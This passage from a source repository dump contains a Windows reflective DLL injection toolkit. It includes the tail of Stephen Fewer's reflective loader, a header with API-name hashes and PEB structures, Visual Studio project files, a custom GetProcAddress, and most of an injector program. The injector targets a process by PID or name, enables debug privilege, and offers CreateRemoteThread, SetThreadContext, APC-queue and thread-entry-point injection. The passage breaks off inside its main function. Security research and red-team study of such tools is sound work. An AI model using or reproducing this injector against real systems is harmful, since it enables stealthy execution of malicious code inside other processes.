uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 378 | 379 | // and we itterate through all entries... 380 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 381 | { 382 | // uiValueA = the VA for this relocation block 383 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 384 | 385 | // uiValueB = number of entries in this relocation block 386 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 387 | 388 | // uiValueD is now the first entry in the current relocation block 389 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 390 | 391 | // we itterate through all the entries in the current block... 392 | while( uiValueB-- ) 393 | { 394 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 395 | // we dont use a switch statement to avoid the compiler building a jump table 396 | // which would not be very position independent! 397 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 398 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 399 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 400 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 401 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 402 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 404 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 405 | 406 | // get the next entry in the current relocation block 407 | uiValueD += sizeof( IMAGE_RELOC ); 408 | } 409 | 410 | // get the next entry in the relocation directory 411 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 412 | } 413 | } 414 | 415 | // STEP 6: call our images entry point 416 | 417 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 418 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 419 | 420 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 421 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 422 | 423 | // call our respective entry point, fudging our hInstance value 424 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 425 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 426 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 427 | #else 428 | // if we are injecting an DLL via a stub we call DllMain with no parameter 429 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 430 | #endif 431 | 432 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 433 | return uiValueA; 434 | } 435 | //===============================================================================================// 436 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 437 | 438 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 439 | { 440 | BOOL bReturnValue = TRUE; 441 | switch( dwReason ) 442 | { 443 | case DLL_QUERY_HMODULE: 444 | if( lpReserved != NULL ) 445 | *(HMODULE *)lpReserved = hAppInstance; 446 | break; 447 | case DLL_PROCESS_ATTACH: 448 | hAppInstance = hinstDLL; 449 | break; 450 | case DLL_PROCESS_DETACH: 451 | case DLL_THREAD_ATTACH: 452 | case DLL_THREAD_DETACH: 453 | break; 454 | } 455 | return bReturnValue; 456 | } 457 | 458 | #endif 459 | //===============================================================================================// 460 | -------------------------------------------------------------------------------- /dll/src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define HASH_KEY 13 52 | //===============================================================================================// 53 | #pragma intrinsic( _rotr ) 54 | 55 | __forceinline DWORD ror( DWORD d ) 56 | { 57 | return _rotr( d, HASH_KEY ); 58 | } 59 | 60 | __forceinline DWORD hash( char * c ) 61 | { 62 | register DWORD h = 0; 63 | do 64 | { 65 | h = ror( h ); 66 | h += *c; 67 | } while( *++c ); 68 | 69 | return h; 70 | } 71 | //===============================================================================================// 72 | typedef struct _UNICODE_STR 73 | { 74 | USHORT Length; 75 | USHORT MaximumLength; 76 | PWSTR pBuffer; 77 | } UNICODE_STR, *PUNICODE_STR; 78 | 79 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 80 | //__declspec( align(8) ) 81 | typedef struct _LDR_DATA_TABLE_ENTRY 82 | { 83 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 84 | LIST_ENTRY InMemoryOrderModuleList; 85 | LIST_ENTRY InInitializationOrderModuleList; 86 | PVOID DllBase; 87 | PVOID EntryPoint; 88 | ULONG SizeOfImage; 89 | UNICODE_STR FullDllName; 90 | UNICODE_STR BaseDllName; 91 | ULONG Flags; 92 | SHORT LoadCount; 93 | SHORT TlsIndex; 94 | LIST_ENTRY HashTableEntry; 95 | ULONG TimeDateStamp; 96 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 97 | 98 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 99 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 100 | { 101 | DWORD dwLength; 102 | DWORD dwInitialized; 103 | LPVOID lpSsHandle; 104 | LIST_ENTRY InLoadOrderModuleList; 105 | LIST_ENTRY InMemoryOrderModuleList; 106 | LIST_ENTRY InInitializationOrderModuleList; 107 | LPVOID lpEntryInProgress; 108 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 109 | 110 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 111 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 112 | { 113 | struct _PEB_FREE_BLOCK * pNext; 114 | DWORD dwSize; 115 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 116 | 117 | // struct _PEB is defined in Winternl.h but it is incomplete 118 | // WinDbg> dt -v ntdll!_PEB 119 | typedef struct __PEB // 65 elements, 0x210 bytes 120 | { 121 | BYTE bInheritedAddressSpace; 122 | BYTE bReadImageFileExecOptions; 123 | BYTE bBeingDebugged; 124 | BYTE bSpareBool; 125 | LPVOID lpMutant; 126 | LPVOID lpImageBaseAddress; 127 | PPEB_LDR_DATA pLdr; 128 | LPVOID lpProcessParameters; 129 | LPVOID lpSubSystemData; 130 | LPVOID lpProcessHeap; 131 | PRTL_CRITICAL_SECTION pFastPebLock; 132 | LPVOID lpFastPebLockRoutine; 133 | LPVOID lpFastPebUnlockRoutine; 134 | DWORD dwEnvironmentUpdateCount; 135 | LPVOID lpKernelCallbackTable; 136 | DWORD dwSystemReserved; 137 | DWORD dwAtlThunkSListPtr32; 138 | PPEB_FREE_BLOCK pFreeList; 139 | DWORD dwTlsExpansionCounter; 140 | LPVOID lpTlsBitmap; 141 | DWORD dwTlsBitmapBits[2]; 142 | LPVOID lpReadOnlySharedMemoryBase; 143 | LPVOID lpReadOnlySharedMemoryHeap; 144 | LPVOID lpReadOnlyStaticServerData; 145 | LPVOID lpAnsiCodePageData; 146 | LPVOID lpOemCodePageData; 147 | LPVOID lpUnicodeCaseTableData; 148 | DWORD dwNumberOfProcessors; 149 | DWORD dwNtGlobalFlag; 150 | LARGE_INTEGER liCriticalSectionTimeout; 151 | DWORD dwHeapSegmentReserve; 152 | DWORD dwHeapSegmentCommit; 153 | DWORD dwHeapDeCommitTotalFreeThreshold; 154 | DWORD dwHeapDeCommitFreeBlockThreshold; 155 | DWORD dwNumberOfHeaps; 156 | DWORD dwMaximumNumberOfHeaps; 157 | LPVOID lpProcessHeaps; 158 | LPVOID lpGdiSharedHandleTable; 159 | LPVOID lpProcessStarterHelper; 160 | DWORD dwGdiDCAttributeList; 161 | LPVOID lpLoaderLock; 162 | DWORD dwOSMajorVersion; 163 | DWORD dwOSMinorVersion; 164 | WORD wOSBuildNumber; 165 | WORD wOSCSDVersion; 166 | DWORD dwOSPlatformId; 167 | DWORD dwImageSubsystem; 168 | DWORD dwImageSubsystemMajorVersion; 169 | DWORD dwImageSubsystemMinorVersion; 170 | DWORD dwImageProcessAffinityMask; 171 | DWORD dwGdiHandleBuffer[34]; 172 | LPVOID lpPostProcessInitRoutine; 173 | LPVOID lpTlsExpansionBitmap; 174 | DWORD dwTlsExpansionBitmapBits[32]; 175 | DWORD dwSessionId; 176 | ULARGE_INTEGER liAppCompatFlags; 177 | ULARGE_INTEGER liAppCompatFlagsUser; 178 | LPVOID lppShimData; 179 | LPVOID lpAppCompatInfo; 180 | UNICODE_STR usCSDVersion; 181 | LPVOID lpActivationContextData; 182 | LPVOID lpProcessAssemblyStorageMap; 183 | LPVOID lpSystemDefaultActivationContextData; 184 | LPVOID lpSystemAssemblyStorageMap; 185 | DWORD dwMinimumStackCommit; 186 | } _PEB, * _PPEB; 187 | 188 | typedef struct 189 | { 190 | WORD offset:12; 191 | WORD type:4; 192 | } IMAGE_RELOC, *PIMAGE_RELOC; 193 | //===============================================================================================// 194 | #endif 195 | //===============================================================================================// 196 | -------------------------------------------------------------------------------- /inject/inject.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335} 23 | inject 24 | Win32Proj 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | v140 31 | MultiByte 32 | true 33 | 34 | 35 | Application 36 | v140 37 | MultiByte 38 | 39 | 40 | Application 41 | v140 42 | MultiByte 43 | true 44 | 45 | 46 | Application 47 | v140 48 | MultiByte 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | <_ProjectFileVersion>11.0.50727.1 68 | 69 | 70 | ../bin/$(Platform)-$(Configuration)/ 71 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 72 | false 73 | 74 | 75 | ../bin/$(Platform)-$(Configuration)/ 76 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 77 | false 78 | 79 | 80 | ../bin/$(Platform)-$(Configuration)/ 81 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 82 | false 83 | 84 | 85 | ../bin/$(Platform)-$(Configuration)/ 86 | ../obj/$(Platform)-$(Configuration)/$(ProjectName)/ 87 | false 88 | 89 | 90 | 91 | Disabled 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | false 94 | EnableFastChecks 95 | MultiThreadedDebugDLL 96 | 97 | Level3 98 | ProgramDatabase 99 | true 100 | 101 | 102 | true 103 | Console 104 | MachineX86 105 | 106 | 107 | 108 | 109 | X64 110 | 111 | 112 | Disabled 113 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 114 | false 115 | EnableFastChecks 116 | MultiThreadedDebugDLL 117 | 118 | Level3 119 | ProgramDatabase 120 | true 121 | 122 | 123 | true 124 | Console 125 | MachineX64 126 | 127 | 128 | 129 | 130 | MaxSpeed 131 | true 132 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 133 | MultiThreaded 134 | true 135 | 136 | Level3 137 | ProgramDatabase 138 | true 139 | 140 | 141 | true 142 | Console 143 | true 144 | true 145 | MachineX86 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | X64 155 | 156 | 157 | MaxSpeed 158 | true 159 | WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions) 160 | MultiThreaded 161 | true 162 | 163 | Level3 164 | ProgramDatabase 165 | true 166 | 167 | 168 | $(OutDir)$(TargetName)$(TargetExt) 169 | true 170 | Console 171 | true 172 | true 173 | MachineX64 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | -------------------------------------------------------------------------------- /inject/inject.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | 22 | 23 | Header Files 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "GetProcAddressR.h" 29 | //===============================================================================================// 30 | // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which 31 | // wont be able to resolve exported addresses in reflectivly loaded librarys. 32 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) 33 | { 34 | UINT_PTR uiLibraryAddress = 0; 35 | FARPROC fpResult = NULL; 36 | 37 | if( hModule == NULL ) 38 | return NULL; 39 | 40 | // a module handle is really its base address 41 | uiLibraryAddress = (UINT_PTR)hModule; 42 | 43 | __try 44 | { 45 | UINT_PTR uiAddressArray = 0; 46 | UINT_PTR uiNameArray = 0; 47 | UINT_PTR uiNameOrdinals = 0; 48 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 49 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 50 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 51 | 52 | // get the VA of the modules NT Header 53 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 54 | 55 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 56 | 57 | // get the VA of the export directory 58 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); 59 | 60 | // get the VA for the array of addresses 61 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); 62 | 63 | // get the VA for the array of name pointers 64 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); 65 | 66 | // get the VA for the array of name ordinals 67 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); 68 | 69 | // test if we are importing by name or by ordinal... 70 | if( ((DWORD_PTR)lpProcName & 0xFFFF0000 ) == 0x00000000 ) 71 | { 72 | // import by ordinal... 73 | 74 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 75 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD_PTR)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); 76 | 77 | // resolve the address for this imported function 78 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); 79 | } 80 | else 81 | { 82 | // import by name... 83 | DWORD dwCounter = pExportDirectory->NumberOfNames; 84 | while( dwCounter-- ) 85 | { 86 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); 87 | 88 | // test if we have a match... 89 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) 90 | { 91 | // use the functions name ordinal as an index into the array of name pointers 92 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 93 | 94 | // calculate the virtual address for the function 95 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); 96 | 97 | // finish... 98 | break; 99 | } 100 | 101 | // get the next exported function name 102 | uiNameArray += sizeof(DWORD); 103 | 104 | // get the next exported function name ordinal 105 | uiNameOrdinals += sizeof(WORD); 106 | } 107 | } 108 | } 109 | __except( EXCEPTION_EXECUTE_HANDLER ) 110 | { 111 | fpResult = NULL; 112 | } 113 | 114 | return fpResult; 115 | } 116 | //===============================================================================================// -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); 34 | //===============================================================================================// 35 | #endif 36 | //===============================================================================================// 37 | -------------------------------------------------------------------------------- /inject/src/Inject.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #define WIN32_LEAN_AND_MEAN 29 | #define NOMINMAX 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include "LoadLibraryR.h" 40 | 41 | #pragma comment(lib,"Advapi32.lib") 42 | 43 | using namespace ATL; 44 | 45 | DWORD GetPid(const std::string& str) 46 | { 47 | // 48 | // str is a PID or a process name 49 | // 50 | try 51 | { 52 | size_t idx = 0; 53 | auto val = std::stoull(str, &idx, 0); 54 | 55 | if (val <= std::numeric_limits::max() && idx == str.size()) 56 | { 57 | return static_cast(val); 58 | } 59 | } 60 | catch (const std::exception&) 61 | { 62 | // 63 | // str is process name, not a PID 64 | // 65 | } 66 | 67 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 68 | if (INVALID_HANDLE_VALUE == hSnap) 69 | { 70 | std::cerr << "CreateToolhelp32Snapshot failed\n"; 71 | return 0; 72 | } 73 | CHandle guard(hSnap); 74 | 75 | PROCESSENTRY32 pe = {}; 76 | pe.dwSize = sizeof(pe); 77 | 78 | if (Process32First(hSnap, &pe)) 79 | { 80 | do 81 | { 82 | if (0 == stricmp(str.c_str(), pe.szExeFile)) 83 | { 84 | std::cout << "Found " << pe.szExeFile << " with ID " << pe.th32ParentProcessID << "\n"; 85 | return pe.th32ProcessID; 86 | } 87 | } while (Process32Next(hSnap, &pe)); 88 | } 89 | 90 | std::cerr << "Can't find process with name '" << str << "'\n"; 91 | return 0; 92 | } 93 | 94 | int main(int argc, char* argv[]) 95 | { 96 | if (argc < 2) 97 | { 98 | printf( 99 | "Usage: inject [dll_file] [CRT|CTEP|STC|QUA|NQAT|NQATE] [R|LW|LA]\n" 100 | "\t CRT - CreateRemoteThread injection (default)\n" 101 | "\t CTEP - Create new suspended thread and change entry point\n" 102 | "\t STC - SetThreadContext injection\n" 103 | "\t QUA - QueueUserApc injection\n" 104 | "\t NQAT - NtQueueApcThread injection\n" 105 | "\t NQATE - NtQueueApcThreadEx injection\n" 106 | "\t R - Reflective loader (default)\n" 107 | "\t LW - LoadLibraryW loader\n" 108 | "\t LA - LoadLibraryA loader\n" 109 | ); 110 | return -1; 111 | } 112 | 113 | const char* dllFile = "reflective_dll.dll"; 114 | const DWORD processId = GetPid(argv[1]); 115 | 116 | if (0 == processId) 117 | { 118 | std::cerr << "Invalid process ID\n"; 119 | return 1; 120 | } 121 | 122 | if (argc >= 3) 123 | { 124 | dllFile = argv[2]; 125 | } 126 | 127 | InjectType injectType = kCreateRemoteThread; 128 | 129 | if (argc >= 4) 130 | { 131 | if (0 == lstrcmpi(argv[3], "CRT")) 132 | { 133 | injectType = kCreateRemoteThread; 134 | } 135 | else if (0 == lstrcmpi(argv[3], "CTEP")) 136 | { 137 | injectType = kChangeThreadEntryPoint; 138 | } 139 | else if (0 == lstrcmpi(argv[3], "STC")) 140 | { 141 | injectType = kSetThreadContext; 142 | } 143 | else if (0 == lstrcmpi(argv[3], "QUA")) 144 | { 145 | injectType = kQueueUserAPC; 146 | } 147 | else if (0 == lstrcmpi(argv[3], "NQAT")) 148 | { 149 | injectType = kNtQueueApcThread; 150 | } 151 | else if (0 == lstrcmpi(argv[3], "NQATE")) 152 | { 153 | injectType = kNtQueueApcThreadEx; 154 | } 155 | } 156 | 157 | LoaderType loaderType = kReflectiveLoader; 158 | 159 | if (argc >= 5) 160 | { 161 | if (0 == lstrcmpi(argv[4], "R")) 162 | { 163 | loaderType = kReflectiveLoader; 164 | } 165 | else if (0 == lstrcmpi(argv[4], "LW")) 166 | { 167 | loaderType = kLoadLibraryW; 168 | } 169 | else if (0 == lstrcmpi(argv[4], "LA")) 170 | { 171 | loaderType = kLoadLibraryA; 172 | } 173 | } 174 | 175 | printf("PID : %d\n", processId); 176 | printf("Inject type: %s\n", InjectTypeToString(injectType)); 177 | printf("Loader type: %s\n", LoaderTypeToString(loaderType)); 178 | 179 | HANDLE hToken = nullptr; 180 | if (::OpenProcessToken(::GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 181 | { 182 | TOKEN_PRIVILEGES priv = {}; 183 | priv.PrivilegeCount = 1; 184 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 185 | 186 | if (::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) 187 | { 188 | ::AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL); 189 | } 190 | 191 | ::CloseHandle(hToken); 192 